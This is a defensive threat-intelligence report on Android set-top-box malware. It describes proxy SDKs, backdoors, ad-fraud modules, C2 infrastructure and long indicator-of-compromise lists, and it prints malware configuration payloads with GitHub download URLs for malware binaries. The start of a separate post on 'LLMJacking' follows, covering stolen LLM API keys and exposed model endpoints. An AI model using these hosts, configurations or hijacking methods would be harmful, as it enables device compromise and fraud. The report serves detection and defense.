Traffmonetizer functionality is split between two components where the Android SDK acts as a state machine which handles native library callbacks through asynchronous event dispatchers. ServiceBloc monitors connection status updates from the native callbacks and ConnectivityBloc monitors Wi-Fi and mobile data network changes.

Traffmonetizer native library initialization and configuration is followed by a call to baseClientStart() which establishes a WebSocket connection to a C2 server. Traffmonetizer uses a single WebSocket (TLS) connection to the command and control server to multiplex control messages and tunneled connections (supports both TCP and UDP). Traffmonetizer also supports “Content Delivery” tunneling which allows nodes to tunnel bandwidth-intensive traffic.

EarnFM

EarnFM is a residential proxy provider, and Fleet SDK is the provider’s SDK that enrolls devices as exit nodes into the proxy network. In com.abc.nexus, FleetSDK is initialized by com.gaganode.sdk as mentioned above. FleetSdk then loads native binary libfleetshare.so.

FleetSDK establishes a persistent WebSocket connection with its primary C2 server for routing arbitrary network traffic. Incoming tasking frames are received over the WebSocket channel and processed in a continuous loop. Messages contain structured JSON commands instructing the daemon to connect to specific remote hosts, with support for both TCP and UDP.

Backdoor Modules

Spirit

Spirit is a dynamic code loading backdoor. Spirit employs multiple stages. The first stage payload fetches device information (hardware, operating system, and manufacturer/brand information and geolocation), posting it over HTTP to a hardcoded C2 server, and fetches a list of additional modules to download from the server. The second stage communicates with a separate server, and is used for tasking, config sync, module retrieval, heartbeats, and reporting. We have observed Spirit loading a significant amount of additional malware monetization modules, including some of the families already directly loaded by com.abc.nexus.

Moyu

Moyu is a 3-stage backdoor previously observed as part of the BadBox enterprise. On x.cpe-backdoored devices, we observed it initialized by com.abc.nexus.service.DevourService. The first stage is an offline dropper that reconstructs and loads an embedded second stage. Stage two polls an update C2 to download, decrypt, and load the third stage. Stage three implements a backdoor with hidden Double-WebView click/conversion fraud, persistent clipboard hijacking, and secondary dynamically loaded JAR execution and a separate residential proxy trojan.

Bird

Bird is a 2-stage backdoor previously tied to the BadBox enterprise. Stage 1 beacons a device and analysis-environment profile to its C2 server and, when the server approves, downloads, decrypts, and loads the Stage 2 JAR. Stage 2 implements a dynamic code loading backdoor (two plugin loaders plus a C2-driven reflective method invoker), a separate downloader (silent APK installation and Accessibility-driven Google Play installs), and ad abuse (lockscreen ads, overlays, browser launches).

Fission

Fission is a dynamic code loading (DCL) backdoor embedded within standard video applications (e.g., com.newtv.cboxtv). Upon initialization, the first stage plugin contacts its C2 server to download additional modules. The decrypted second stage payload fetches execution targets and tracking URLs from the C2. The request sends an unencrypted POST request with tracking metrics from the internal DeviceManager.

The payload we observed was configured to commit ad fraud. Rather than rendering visible advertisements in a WebView or UI component, the Stage 2 plugin executes headlessly in the background. The module queries ad server endpoints in the background to retrieve ad placement responses, parses out both primary impression beacons (pvm) and third-party tracking monitor URLs (pvtpm), and immediately fires HTTP GET requests to each tracking endpoint to register a fake ad view without displaying creative content. When executing inside specific smart-TV application stores (com.changhong.appstore or com.tcl.appmarket2), the plugin initializes and triggers the ad SDK directly to report synthetic ad exposures.

Ad-Fraud

HiddenView

We observed HiddenView loaded remotely from the attacker’s Github channel as com.ota.service. It is a standalone ad fraud application capable of running in the background using a transparent window overlay, using hidden WebViews to load targeted web pages and simulate user interaction (scrolling, clicking, typing, media playback), playing media unattended, and capturing the user’s screen.

How the pieces come together

Configuration messages pushed via MQTT (action ext/lib/config) demonstrate how x.cpe, com.abc.nexus and various monetization modules function together.

Upon registration, subscribed devices receive a ext/lib/config message, which contains configuration parameters for malicious plugins. This includes:

Limits on system resources:

"constraints": [
    {
      "cpu": 70,
      "ioRead": 5000,
      "ioWrite": 5000,
      "libCode": "linkfog",
      "memory": 50,
      "reportAlarm": true,
      "trigger": 3
    }

Figure 4: System resource limits configuration payload

Module name, download location per architecture, hashes, and weight (relative priority for system resources):

 "infos": [
    {
      "libChannel": "SZKJ",
      "libCode": "linkfog",
      "libResource": [
        {
          "address": "https://github.com/Aviciiii/ott/releases/download/cpe_ext_lib/lw_android_agent_special_ndk_64",
          "architecture": "arm64-v8a",
          "md5": "abd0b6de6fdf78234f5dab098d5dd229"
        },
        {
          "address": "https://github.com/Aviciiii/ott/releases/download/cpe_ext_lib/lw_android_agent_special_ndk_32_20250717",
          "architecture": "armeabi-v7a",
          "md5": "d8971688d1929b6ed915b80eca7e7e3f"
        }
      ],
      "libWeight": 5
    },

Figure 5: Module configuration payload

Devices are assigned to one of six timezone-separated pools on the ott.szbboys[.]com domain:

"region": "Iraq",
  "serverPool": {
    "defaultPool": "Pool5",
    "lastUpdated": "2025-08-06 17:00:00",

Figure 6: Server Pool configuration payload

The “policys” section instructs com.abc.nexus which modules to download and run:

 "status": [
    {
      "enable": true,
      "libCode": "linkfog"
    },
    {
      "enable": false,
      "libCode": "bwm"
    },
    {
      "enable": false,
      "libCode": "adtime"
    },
    {
      "enable": false,
      "libCode": "admoyu"
    },
    {
      "enable": false,
      "libCode": "titan"
    },
    {
      "enable": false,
      "libCode": "lb102"
    }
  ],

Figure 7: Module activation payload

x.cpe passes on these configuration parameters to com.abc.nexus for the given module on the device. Devices report bandwidth usage and alarms back to serverPool to stay within the configured constraints.

When com.abc.nexus acknowledges receiving the bundle, x.cpe immediately publishes ext/lib/config/reply back to the MQTT broker:

"code": 0,
  "msg": "success",
  "data": "received data success and applying",
  "async": true,
  "immediately": false

Figure 8: x.cpe response payload

Infrastructure

As previously mentioned, devices first connect to various endpoints on *.anyevonline[.]com for initial bootstrap, registration, and configuration. Earlier malware versions used various hostnames of {*tms | *ott | *ota}.szbboys[.]com for the same purpose.

While earlier versions of the malware used HTTP for C2, and then a blended C2 approach with both HTTP and MQTT, static analysis of current versions indicate they exclusively send/receive C2 communications via MQTT. A single MQTT broker orchestrates all MQTT C2 communications for samples we’ve identified. Hostname mqtt.szbboys[.]com is resolved by hosts 219.134.163[.]210 and 219.134.163[.]211. It listens on non-standard MQTT ports 3885-3887.

The malware constructs OkHttp requests for file downloads after tasking via the MQTT broker. Files are hosted on several services:

Several Github release pages
The filemail[.]com file sharing service
Two operator-controlled servers hosted on IPs 38.145.197[.]135 and 23.94.49[.]57

Netflow telemetry on the broker nodes (219.134.163[.]210/.211) indicates that while infected devices communicate over ports 3885–3887, operators likely manage the broker and dispatch tasking via interactive HTTP REST API (port 8082), WebSocket (port 8083), and EMQX web administration console (port 18083) sessions originating from non-bot IP space.

Call to Action

While we believe our actions have seriously impacted over a dozen malicious actors, the underlying illicit market is resilient. Backdoor operators, ad-fraud rings, and residential proxy providers operate as an interconnected supply chain, and when one component is disrupted, operators quickly pivot to new loaders or rival monetization SDKs. Creating lasting change requires accountability across the hardware supply chain, the residential proxy industry, and the broader technology ecosystem.

Accountability and Reform

A device manufacturer intentionally infecting their users with malware is an unacceptable breach of trust. By turning everyday hardware into persistent beachheads for criminal affiliates, Videostrong prioritized illicit post-sale recurring revenue over the safety and privacy of its users. Downstream hardware brands, white-label resellers, telecommunications providers, and online e-commerce marketplaces also share responsibility for closing this vector. Retailers and distributors should require independent security audits from Original Design Manufacturers (ODMs) and swiftly delist manufacturers implicated in supply-chain abuse.

Residential proxy providers have been able to flourish under the guise of legitimate businesses. While some providers may claim to behave ethically and only enroll devices with the clear consent of consumers, any claims of "ethical sourcing" must be backed by transparent, auditable proof of user consent. In our analysis, these proxy operators only seek consent when they are forced due to platform policy and enforcement. Silent opt-in without user consent remains the most prevalent means by which devices are turned into exit nodes.

Empowering and Protecting the Consumer

Residential proxies are an understudied area of risk for consumers, and more can be done to raise awareness. Consumers should be extremely wary of applications that offer payment in exchange for "unused bandwidth" or "sharing your internet." These applications are primary ways for illicit proxy networks to grow, and could open security vulnerabilities on the device’s home network. We urge users to stick to app stores you trust, review permissions for third-party VPNs and proxies, and ensure built-in security protections like Google Play Protect are active.

Consumers should only purchase connected devices, such as set-top boxes, from reputable manufacturers. Our Android TV website provides the most up-to-date list of partners.

Industry Collaboration

We encourage mobile platforms, ISPs, online marketplaces and other tech platforms to continue sharing intelligence and implementing best practices to identify malicious backdoors, illicit proxy networks, and other harmful software and limit their harms.

Indicators of Compromise

Core Malware Samples

Tool(s)	Package Name	Representative SHA256	Notes
XCPE	x.cpe	3768f470934a111f1c3e3d098eb1392a3cb6f3e298ef5fd2a6309e6a98ee1e18
XCPE	x.cpe	4f860efa8d8b9b8f35f343d524500181607a0cdc9fac35394cf16b71ff4ad1d0
XCPE	x.cpe	8365658b7c51d7b607fe83d862d05e619cad5249c96db61a3d33a95c615c8194
XCPE	x.cpe	92326f3065273d619f866f76e3542b6271886f92b1342c5ccc27cb7150c75176
XCPE	x.cpe	17d4929578dac90af7da3a9c8bbd6f516ade8cc803c82a0f64849fb2a346a894
XCPE	x.cpe	76b4bf6f55aaab35428260a830ac9a2c437a09aefd521c5b51618db47beca3b2
XCPE	x.cpe	05e2e32e08073081adcb8875c3b7350fff53e7ea8f36d6388fb3daa626015d22
XCPE	x.cpe	da5246fb62db91eda31df0873835e1c96a3187df1a760ffc87abf9788ba69104
XCPE	x.cpe	471e76cce87e280a2fe11046fcb58c0817558ffbc8a526d84fb40c45b03ac9bc
XCPE	x.cpe	39792bed070b1128cd67178591804fafb82112d371ccdb2b51cd600b2d435922
XCPE	x.cpe	2cdb1f0f0969766142f3debbab55eef5e24c15d49a513753f1f6b67bc3e8438b
XCPE	x.cpe	dca25ff0d11d49e9969be3177b50aa8bf120b5ad3946409dedae143a8a69aa99
XCPE	x.cpe	20af9e1538e1c211687c53e71318d9d265e36ce154457cade3266c7633fb953d
XCPE	x.cpe	f451c0b770049c71fb0d8efd45115dfc3336f636fb6a0617ec5a5c58632196f4
XCPE	x.cpe	0d90d0e5009d0c67e978dffb1f78278fa22f296ebc14add1fe338abea8690867
XCPE	x.cpe	22c0279d23973fd9b3bfd9f42fd19ea1595c6e3f71a89b698828c79fa8e4edd2
XCPE	x.cpe	6b55b8b3ff7bd31af93b59612f0800c09e49d3badc772e2395736616c87d5612
XCPE	x.cpe	049b626ca9bc4cf552e675dd5bf6215753caa3a3d28fab17b2a8fa9e0c8421c0
XCPE	x.cpe	bcf142ba37e897b7fcbb89353ec9b5a7c3bfb1d167838d3b91c347b9fdfb2230
XCPE	x.cpe	1806a1a93a6bce28cc6e95e9001f06370eaef9c66846ade9aecaf220d7ac91a4
XCPE	x.cpe	9216a0a460400403027d4dfc9a6193a776603b64735f174e74a89607567ac6f2
XCPE	x.cpe	04ffe332458931d82c0503daba1859622540828302af1190d2d3c6447094428c
XCPE	x.cpe	3e891f061daf73c2edc14ed98512cad008346679645e8165320bf96fb8b0e0d6
XCPE	x.cpe	415d54757c2f96fd28404f1ab8da1e90297a381ec3d7fb47d33126644a0a421b
XCPE	x.cpe	9df157f3975b582074033c80d0d586f3911fb6bd3813539e2edf87ada4eee9fb
XCPE	x.cpe	be9990489fbf36100ec148f3a83795f2674d17063edb8accd560f1ce2f97dedd
XCPE	x.cpe	8953f9013eb8c31b27c86ba90edbdb9ecba216ed2cb6a992508c1964d53b8eee
XCPE	x.cpe	01b8c78f5509119b3e27ea4d628048985b94b5e00db0431d843519cf1d3e2cde
XCPE	x.cpe	5ae5df84cdce0100eb957cf235d1f3fd85fa634592e7ca137de12535e9f8ad2a
XCPE	x.cpe	085662ba43e22d04d6f69b7b5176c68cedee6507c5d34973c94459f324b44c8d
XCPE	x.cpe	07b511a6f7715ccd2f77b5f51e4cf46542ccaada99564252711f4a142ac26179
XCPE	x.cpe	02490fa9f472ec872723d64d03402967e77932d2df72c588b0d7a7df9e17ae62
XCPE	x.cpe	6f7f4b22eb7841d2b828f1eda77173880d42267a33b387bee9cee983c03bf291
XCPE	x.cpe	1de0a368599ab04b8863c0e61c2d5a75e00f742a3326325f2870a9a72ee8d200
XCPE	x.cpe	486a784cbd6335d31214edd7bed7fcfb486b875374597c139826c77c91ccbbaa
XCPE	com.oemservice	350d6db477e8567cf9347c1144b3a0b25550e7ce63bb800b056b8a7a8ef56af4
XCPE	com.oemservice	2d4b5c50e57e3e9b57d4ee02bef1dcd56163550a5e01c966e0f0fb6d46b2aeed
XCPE	com.oemservice	99874d087e3f72a9d78439118361f438f7a156af318c788183d338cc315d7fa8
XCPE	com.oemservice	4fd0ddb15849137df77e8cb86cd951d2d220fd8dd5b8b03c5a7e23e815092fdd
XCPE	com.oemservice	cad908ad09d029971b24b4ad653fe680101ccaddd94b4e530c58bf45430fd1a4
XCPE	com.oemservice	3627f848804f49c041203e8d754e8d89f3ff6243b6d9e1ca6e50bbf08dbd9785
XCPE	com.oemservice	0ed2ec71901210b1100c6a4abee48ad36774962496d57577d58630072e30cc60
XCPE	com.oemservice	1c8408f80dcdac5c9cae5b2ac785e6f0aa97ad2ec6c8701e3ab661882e9fdd63
XCPE	com.oemservice	1c34f551cea557b24f6f3776de7fecaf40536c749d5b9734242acde4dd578c53
XCPE	com.oemservice	1c989cef1b9cc5a39715d172e3f3acb574a958765f4a9df50c952c0a359826cd
XCPE	com.oemservice	498d0862ce2ce972e9ac9bd3ea592b9f9cd8c5119dcc90fcb1b14a547889e9f9
XCPE	com.oemservice	b2e55884c819c210eaf46aeb7970a1ec623944b5d1a8c2178904f998b9682ac0
ABCNexus	com.abc.nexus	1f2ab93c35f0c37d9b88f82268183a2f77491aa6b142a48381524b18e217b960
ABCNexus	com.abc.nexus	a552bcb7d37c2bdb5c71e923157571598643de4051bfa3e5158fde3cb8709de7
ABCNexus	com.abc.nexus	3295d193ac405112ad076d7fab23274d44f8d0be6614a250a474c5ed7c95356f
ABCNexus	com.abc.nexus	c0e1fad801d87531ee889fa6ec344f14868e7cdac06c93d2d3de742f1a9293c5
ABCNexus	com.abc.nexus	0135b69bab304564628488829b825050d1dd6dab98e86ec6776839dac9365af9
ABCNexus	com.abc.nexus	83b3cfb7655483e0d421737c2bed707fdd1747f105deca6980233c011aaaea30
ABCNexus	com.abc.nexus	02b94ae4ee0fd2bab915fe2911d15ee70e51ca0564ba43c746593e7fe0b7ccd3
ABCNexus	com.abc.nexus	69116e8f681ea312e7e9e3a8a436f66b3e98566c621412599ecaaa25348daadb
ABCNexus	com.abc.nexus	7eb1afbf4428a9a3b41a6faf9a7497aab1d7768a8370d475f580e574145a9e7d
ABCNexus	com.abc.nexus	d4011b684ba389bf0b2dd8ded74fe8a4729b1cad4e6c18cfd928cb99a625a6e4
ABCNexus	com.abc.nexus	e25616a0c64734f00d1f6dfb064d8f7bf1e4b95aac8b2e4aabb44b2950751bd0
ABCNexus	com.abc.nexus	cd8ef4ba20823b926b45a04946f24e45a7bcd4bf2bfc439cac8061a43f146903
ABCNexus	com.abc.nexus	08edc09f4465cd784360c223275c45a5e95d7dc8a5e796537ea5251848b3d2f1
ABCNexus	com.vs.grass	fda3c8fdf7849814e270bbbc00adfa1e15ba8977f5b2508df5febf5dbd3075b2
ABCNexus	libseccomp_guard.so	b3690b3b013ac60752a6d05c3f53ea1f3e844d4603c5b90d258a30c596d0691b	Anti-analysis binary spawned via NexusApplication.onCreate() inside com.abc.nexus:CoreService
	com.android.sso.auth.handler	ebcca22b96f7a30ae155efa2f25af29a369c6e9cfc99cb3bb0b72f35bc5528ed	Dropper package dropping AppSalt SDK
	libexploit.so	42be8f18d6006ca092de191331d38e70a0d8383db701a759466dec59a0986135	Privilege escalator bundled with sso.authHandler
	libnative_keys.so	7830ce3c3222dd9b25a77a16116dcf832a24b4b9a0bc998501e12415a828fb42	Key storage for AppSalt SDK bundled with

Affiliate Malware

Tool(s)	File Type	Representative SHA256	Notes
Bird	APK	d4011b684ba389bf0b2dd8ded74fe8a4729b1cad4e6c18cfd928cb99a625a6e4	com.abc.nexus package initializes Bird at com.abc.nexus.service.AmhService.execAdv
Linkfog	APK	cd8ef4ba20823b926b45a04946f24e45a7bcd4bf2bfc439cac8061a43f146903	com.abc.nexus package initializes Linkfog at com.abc.nexus.service.LinkfogService
Linkfog	ELF	331d3a1cf85656c3657e97bab6f15b6e4ce30bf319069b22e8356dccac230321	ELF binary
Jaguar	APK	d3b94a74121e885bc698c8f56b9433247139be29b40ae1d0655dd558ecf5f9fa	com.abc.nexus package initializes Jaguar at com.abc.nexus.service.AdtimeService
Jaguar	ELF	e2bfca7225af84f116de7ed10e4ad425d0ebfd6e19903d226b9768282865700f	ELF binary
AppSalt / Honeygain	APK	d48cffc6d7e7c06f2d3db34ce6d4a53d5c25636179b7087a1e762f5d6bfa07f5	com.abc.nexus package initializes AppSalt via com.abc.nexus.service.CoreService
AppSalt / Honeygain	DEX	96146abb8c2a75dab8cc1bb46c323923	AppSalt class
Bestipip/ipweb	APK	d3b94a74121e885bc698c8f56b9433247139be29b40ae1d0655dd558ecf5f9fa	com.abc.nexus package initializes AppSalt via com.abc.nexus.service.BwmService
Spirit	APK	69116e8f681ea312e7e9e3a8a436f66b3e98566c621412599ecaaa25348daadb	Initializes in com.abc.nexus components com.abc.nexus.service.ADMOYUService.execAdv and com.data.trans.android.SdkInit.init
Moyu	APK	f2ed4a40fbb21d0560e82bdd2e85e825970d32052348241b487dd93191ebef2a	Triggered in com.abc.nexus via Android Service components com.abc.nexus.service.DevourService.j and Com.qdp.s.b.uga
GaGaNode	APK	f2ed4a40fbb21d0560e82bdd2e85e825970d32052348241b487dd93191ebef2a	In com.abc.nexus as com.gaganode
Netnut/Popanet	APK	f2ed4a40fbb21d0560e82bdd2e85e825970d32052348241b487dd93191ebef2a	In com.abc.nexus, initialized as child of GagaNode in com.gaganode.sdk.HeartbeatManager->startHeartbeat
Traffmonetizer	APK	d48cffc6d7e7c06f2d3db34ce6d4a53d5c25636179b7087a1e762f5d6bfa07f5	Initialized in com.abc.nexus.service.CoreService
Traffmonetizer	DEX	8cb62b3a9b74ca8b907aef7d83fee65f3ab80e0f4acbf4b2415ea1c2a6caf796	classes.dex
Traffmonetizer	ELF	a63757715b35ddd99916b63a1354de1ec05ac5855a480fe9a547b002e2091dcb	Key storage for Traffmonetizer dropped by com.abc.nexus
Traffmonetizer	ELF	701f57169f3968bf412d33ec09fa6f2c11ece632aed9f44efa38eaf4fa2e08c6	ELF binary dropped by com.abc.nexus
EarnFM	APK	f2ed4a40fbb21d0560e82bdd2e85e825970d32052348241b487dd93191ebef2a	In com.abc.nexus, initialized as child of GagaNode in com.gaganode.sdk.HeartbeatManager
EarnFM	ELF	9e18c113eb8d2ba813199c7f90e26d80af3124d871fc31eea7253319a8406e8e	libfleetshare.so ELF binary dropped by com.abc.nexus
Fission	APK	742b7ad8b95d4e0784c914f2b84706124f5a86a404e0fd479a0a97a784c2bb9e	com.newtv.cboxtv package fetched from operator Github
HiddenView	APK	a6c7ef9b6d5277dada145361164ff79e1e6c6be1cd28f6739113c72ee30ea4cc	com.ota.service package fetched from operator Github
HiddenView	DEX	ff96f093bbac32654db62ebb33276c64cd30eb25a0bc11e66608ca40efb1bbdc	classes.dex
HiddenView	DEX	71f52519aae77fb20448ea065caa55750bcd73cf425aab203277032e260a1981	classes2.dex

Network Indicators

Indicator	Type	Malware Label	Notes
amhib[.]com	Domain	Bird
disview[.]com	Domain	Bird
prataw[.]com	Domain	Bird
auqee[.]com	Domain	Bird
alptk[.]com	Domain	Bird
mfiny[.]com	Domain	Bird
leisurepuz[.]com	Domain	Bird
earn[.]fm	Domain	EarnFM
geo-loadbalanced[.]com	Domain	EarnFM
collection[.]shixunsuda[.]com	Subdomain	Fission
analysis[.]shixunsuda[.]com	Subdomain	Fission
gtxvdqvuweqs[.]com	Domain	Gaganode
hiddeninplainsight[.]top	Domain	HiddenView
absolut[.]fit	Domain	Honeygain / AppSalt
alpivara[.]com	Domain	Honeygain / AppSalt
beepityping[.]com	Domain	Honeygain / AppSalt
beezlepongmad[.]com	Domain	Honeygain / AppSalt
bloopondle[.]com	Domain	Honeygain / AppSalt
blustpong[.]com	Domain	Honeygain / AppSalt
braigwshat[.]com	Domain	Honeygain / AppSalt
brisping[.]com	Domain	Honeygain / AppSalt
bronglepong[.]com	Domain	Honeygain / AppSalt
clapslpist[.]com	Domain	Honeygain / AppSalt
clapslport[.]com	Domain	Honeygain / AppSalt
craipivolta[.]com	Domain	Honeygain / AppSalt
creapslpinut[.]com	Domain	Honeygain / AppSalt
crodipolis[.]com	Domain	Honeygain / AppSalt
delpiverno[.]com	Domain	Honeygain / AppSalt
depomancy[.]com	Domain	Honeygain / AppSalt
dewswyra[.]com	Domain	Honeygain / AppSalt
drackpingcare[.]com	Domain	Honeygain / AppSalt
dramapi[.]com	Domain	Honeygain / AppSalt
drapithon[.]com	Domain	Honeygain / AppSalt
fawsilver[.]com	Domain	Honeygain / AppSalt
fawsindra[.]com	Domain	Honeygain / AppSalt
fizzlepong[.]com	Domain	Honeygain / AppSalt
flaigwern[.]com	Domain	Honeygain / AppSalt
flapilo[.]com	Domain	Honeygain / AppSalt
flapslwstorm[.]com	Domain	Honeygain / AppSalt
flawsino[.]com	Domain	Honeygain / AppSalt
flewsnark[.]com	Domain	Honeygain / AppSalt
floporin[.]com	Domain	Honeygain / AppSalt
floppipple[.]com	Domain	Honeygain / AppSalt
flumpipoodle[.]com	Domain	Honeygain / AppSalt
frosping[.]com	Domain	Honeygain / AppSalt
gapslpinch[.]com	Domain	Honeygain / AppSalt
gapslwsbor[.]com	Domain	Honeygain / AppSalt
glapoton[.]com	Domain	Honeygain / AppSalt
glewsnap[.]com	Domain	Honeygain / AppSalt
glippinger[.]com	Domain	Honeygain / AppSalt
gloobfnatch[.]com	Domain	Honeygain / AppSalt
gloopong[.]com	Domain	Honeygain / AppSalt
glowspar[.]com	Domain	Honeygain / AppSalt
grasplpond[.]com	Domain	Honeygain / AppSalt
grinapslpocal[.]com	Domain	Honeygain / AppSalt
hawsith[.]com	Domain	Honeygain / AppSalt
lapslponze[.]com	Domain	Honeygain / AppSalt
lepovia[.]com	Domain	Honeygain / AppSalt
limpingcare[.]com	Domain	Honeygain / AppSalt
lorapslpifyx[.]com	Domain	Honeygain / AppSalt
lowswyn[.]com	Domain	Honeygain / AppSalt
lunapiris[.]com	Domain	Honeygain / AppSalt
mopith[.]com	Domain	Honeygain / AppSalt
mudponger[.]com	Domain	Honeygain / AppSalt
nepiral[.]com	Domain	Honeygain / AppSalt
opostra[.]com	Domain	Honeygain / AppSalt
pibberflop[.]com	Domain	Honeygain / AppSalt
pikaroodle[.]com	Domain	Honeygain / AppSalt
ploponix[.]com	Domain	Honeygain / AppSalt
qepoth[.]com	Domain	Honeygain / AppSalt
rapinel[.]com	Domain	Honeygain / AppSalt
rapslpine[.]com	Domain	Honeygain / AppSalt
rapslponic[.]com	Domain	Honeygain / AppSalt
rapslwsweave[.]com	Domain	Honeygain / AppSalt
raspongle[.]com	Domain	Honeygain / AppSalt
ripotus[.]com	Domain	Honeygain / AppSalt
rowswyn[.]com	Domain	Honeygain / AppSalt
scapslwshell[.]com	Domain	Honeygain / AppSalt
snarpong[.]com	Domain	Honeygain / AppSalt
snorpdoodle[.]com	Domain	Honeygain / AppSalt
sofpilan[.]com	Domain	Honeygain / AppSalt
soporth[.]com	Domain	Honeygain / AppSalt
spopel[.]com	Domain	Honeygain / AppSalt
tawserin[.]com	Domain	Honeygain / AppSalt
tawswizzle[.]com	Domain	Honeygain / AppSalt
teowsmera[.]com	Domain	Honeygain / AppSalt
tepiol[.]com	Domain	Honeygain / AppSalt
tewsmariel[.]com	Domain	Honeygain / AppSalt
thaiporix[.]com	Domain	Honeygain / AppSalt
thapolex[.]com	Domain	Honeygain / AppSalt
torpoodle[.]com	Domain	Honeygain / AppSalt
trapslwsin[.]com	Domain	Honeygain / AppSalt
trawsica[.]com	Domain	Honeygain / AppSalt
tripikazu[.]com	Domain	Honeygain / AppSalt
twindping[.]com	Domain	Honeygain / AppSalt
vaiporun[.]com	Domain	Honeygain / AppSalt
vespilara[.]com	Domain	Honeygain / AppSalt
vorpolis[.]com	Domain	Honeygain / AppSalt
whispong[.]com	Domain	Honeygain / AppSalt
winklenark[.]com	Domain	Honeygain / AppSalt
wizzleplonk[.]com	Domain	Honeygain / AppSalt
wogglenift[.]com	Domain	Honeygain / AppSalt
yapodust[.]com	Domain	Honeygain / AppSalt
yewsara[.]com	Domain	Honeygain / AppSalt
zarflonk[.]com	Domain	Honeygain / AppSalt
zenapslpinic[.]com	Domain	Honeygain / AppSalt
zerapslpomat[.]com	Domain	Honeygain / AppSalt
zimpire[.]com	Domain	Honeygain / AppSalt
zingpingbees[.]com	Domain	Honeygain / AppSalt
zippypongbee[.]com	Domain	Honeygain / AppSalt
zoraipinex[.]com	Domain	Honeygain / AppSalt
zorapslwsnic[.]com	Domain	Honeygain / AppSalt
zrawsomble[.]com	Domain	Honeygain / AppSalt
bestipip[.]com	Domain	IPWeb
fecebbbk[.]xyz	Domain	IPWeb
guangzhouroot[.]com	Domain	IPWeb
bd-devmetrics[.]net	Domain	Jaguar
jaguar-distributor[.]logreporter[.]com	Subdomain	Jaguar
jaguar-distributor[.]syslogcollector[.]com	Subdomain	Jaguar
tx-devmetrics[.]net	Domain	Jaguar
linkfog[.]cn	Domain	Linkfog
cloudbrokerapi[.]xyz	Domain	Linkfog
dddlink[.]link	Domain	Linkfog
smrtai[.]cc	Domain	Linkfog
bkdomain[.]cn	Domain	Linkfog
columbus2024[.]com	Domain	Linkfog
dmurdce[.]xyz	Domain	Moyu
edisajalsjfdfh[.]shop	Domain	Moyu
fshuaons2[.]online	Domain	Moyu
fuioahsdoa3[.]store	Domain	Moyu
fuisans1[.]online	Domain	Moyu
haimnsgsjhansj[.]shop	Domain	Moyu
ishano456[.]sbs	Domain	Moyu
ishuoabh3years[.]online	Domain	Moyu
sdoisanadf[.]shop	Domain	Moyu
shaiosjdaln[.]shop	Domain	Moyu
shsuanalsjai[.]shop	Domain	Moyu
ty4523[.]space	Domain	Moyu
ty54fgd435[.]my	Domain	Moyu
ue886578433[.]online	Domain	Moyu
vrr8345[.]site	Domain	Moyu
xmsae[.]sbs	Domain	Moyu
xshaon123[.]sbs	Domain	Moyu
dgjm[.]online	Domain	Spirit
drgdj[.]top	Domain	Spirit
spiritlib[.]cyou	Domain	Spirit
*[.]traffmonetizer[.]com	Subdomains	Traffmonetizer
219[.]134[.]163[.]210	IP Address	XCPE	Hosts MQTT C2 Broker
219[.]134[.]163[.]211	IP Address	XCPE	Hosts MQTT C2 Broker
23[.]94[.]49[.]57	IP Address	XCPE	File hosting and command and control server
38[.]145[.]197[.]135	IP Address	XCPE	Hosts anyevonline[.]com and file server
*[.]anyevonline[.]com	Subdomains	XCPE	Registration C2 subdomains
intermedia-arts[.]tv	Domain	XCPE	Fallback C2 for system packages
szbboys[.]com	Domain	XCPE	Hosts core C2 for XCPE
ott[.]szbboys[.]com	Subdomain	XCPE	Supports file upload and download and OTA updates
mqtt[.]szbboys[.]com	Subdomain	XCPE	MQTT C2 broker
github[.]com/Aviciiii/	URL	XCPE	Operator controlled pages host packages as Github releases
github[.]com/Spink1984/	URL	XCPE	Operator controlled pages host packages as Github releases
github[.]com/undowildcats-sketch/	URL	XCPE	Operator controlled pages host packages as Github releases
github[.]com/szjkkax/	URL	XCPE	Operator controlled pages host packages as Github releases
github[.]com/szsoft01/	URL	XCPE	Operator controlled pages host packages as Github releases
github[.]com/ktpeng2026/	URL	XCPE	Operator controlled pages host packages as Github releases
github[.]com/yf-videostrong/	URL	XCPE	Operator controlled pages host packages as Github releases
github[.]com/vspeng/	URL	XCPE	Operator controlled pages host packages as Github releases
github[.]com/szwzy43/	URL	XCPE	Operator controlled pages host packages as Github releases
github[.]com/ChenHui1026/	URL	XCPE	Operator controlled pages host packages as Github releases
github[.]com/zurant/	URL	XCPE	Operator controlled pages host packages as Github releases
yokatvonline[.]com	Domain	YokaTV	Fallback C2 for system packages

The Rise of LLMJacking: How Threat Actors Monetize Compromised Cloud and Model Resources

Mon, 02 Nov 2026 14:00:00 +0000

Written by: Christopher Romano, Codi Starks, Garrett Mahoney, John Wolfram, Josh Murchie, K Singh, Mathew Potaczek, Mike Lombardi, Rik Dolfing

Introduction

Mandiant responded to multiple incidents in 2026 in which threat actors hijacked enterprise access to Large Language Models (LLMs), a tactic known as "LLMJacking." Spanning a variety of cloud and LLM providers, these intrusions impacted organizations in North America, South America, and Asia Pacific across the financial services, retail, technology, and transportation sectors.

Unlike the gradual resource consumption associated with cryptojacking, LLMJacking can generate large spikes in fraudulent cloud charges in a matter of hours. Across individual incidents, we observed fraudulent charges associated with resource consumption exceeding $100,000 USD in a single day, with cumulative charges at some organizations reaching $1 million USD before access was revoked.

Figure 1: Usage chart showing LLMJacking generating a spike in API requests

Analyzing the criminal ecosystem behind these frontline compromises, and building upon previous reporting on the growing underground market for LLM credentials, Google Threat Intelligence Group (GTIG) has identified a diverse set of financially motivated threat clusters operating out of multiple regions globally.

As the LLMJacking ecosystem matures, we are also tracking a division of labor between threat actors establishing initial access to compromised environments and operators managing downstream monetization infrastructure, known as “LLM Mixers”. LLM Mixers function as illicit routing gateways that proxy, aggregate, and resell unauthorized LLM access to underground subscribers. In one investigation, GTIG observed two distinct operational clusters coordinating to compromise and monetize enterprise LLM infrastructure, demonstrating the sophisticated specialization emerging in this space.

In this blog post, we describe the attack lifecycle observed across recent LLMJacking investigations and provide actionable detection, hardening, and remediation guidance to help organizations secure their infrastructure.

Initial Access

While low-level resource theft has involved the manipulation of customer support chatbots to conduct unauthorized tasks like code generation, threat actors conducting LLMJacking bypass these front-end interfaces to target backend model resources directly. Specifically, they focus on either identifying publicly exposed LLM endpoints or obtaining valid LLM application programming interface (API) keys. An example of the latter can be seen in Figure 1, where a threat actor uses an automated script to verify exposure by calling the /api/create endpoint to independently run their own models on endpoints that unsuspecting users have left publicly accessible. Leaving these services unprotected not only expands an organization's traditional attack surface, but could also introduce a significant increase in hosting costs.

Figure 2: Threat Actor tests publicly exposed Ollama endpoints and attempts to register their own models

